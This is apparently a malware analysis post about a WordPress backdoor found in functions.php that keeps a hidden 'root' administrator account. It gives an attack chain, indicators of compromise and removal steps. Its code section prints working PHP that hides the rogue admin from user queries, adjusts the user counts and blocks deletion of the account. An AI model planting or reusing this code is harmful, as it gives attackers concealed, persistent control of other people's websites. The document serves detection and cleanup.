Technical Analysis
This malware code was identified within the functions.php file of a WordPress installation. The script creates an administrator account with a login name 'root' and a predefined password, using the email 'admin@wordpress.com'. It employs hooks like pre_user_query and admin_menu to conceal this user account by manipulating user queries and by protecting it from deletion. The backdoor ensures persistence by updating a stored option _pre_user_id with the new user ID and protects this account from being displayed in the admin panel by adjusting query conditions.
VirusTotal Analysis: 🛡️ Zero-Day / Fully Undetected.
Attack Chain
- functions.php is loaded, executing script.
- New admin user 'root' is created if not exists.
- Hooks are added to hide and protect the user account.
- User account is concealed from admin view.
- Admin user can't be deleted through normal procedures.
Code Signature(s)
FILE: functions.php
<?php
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('<span class="count">(', $views['all']);
$count = explode(')</span>', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];
$html = explode('<span class="count">(', $views['administrator']);
$count = explode(')</span>', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
Indicators of Compromise (IOCs)
functions.phpwp_admin_users_protect_user_querywp_insert_user_pre_user_idrootadmin@wordpress.com
Removal Protocol
- Remove malicious code from
functions.php. - Check for and remove unauthorized user accounts.
- Change all admin passwords.
- Audit logs for unauthorized access.
Status: Active Threat.
Verification: Verified by MD Pabel.
Top comments (0)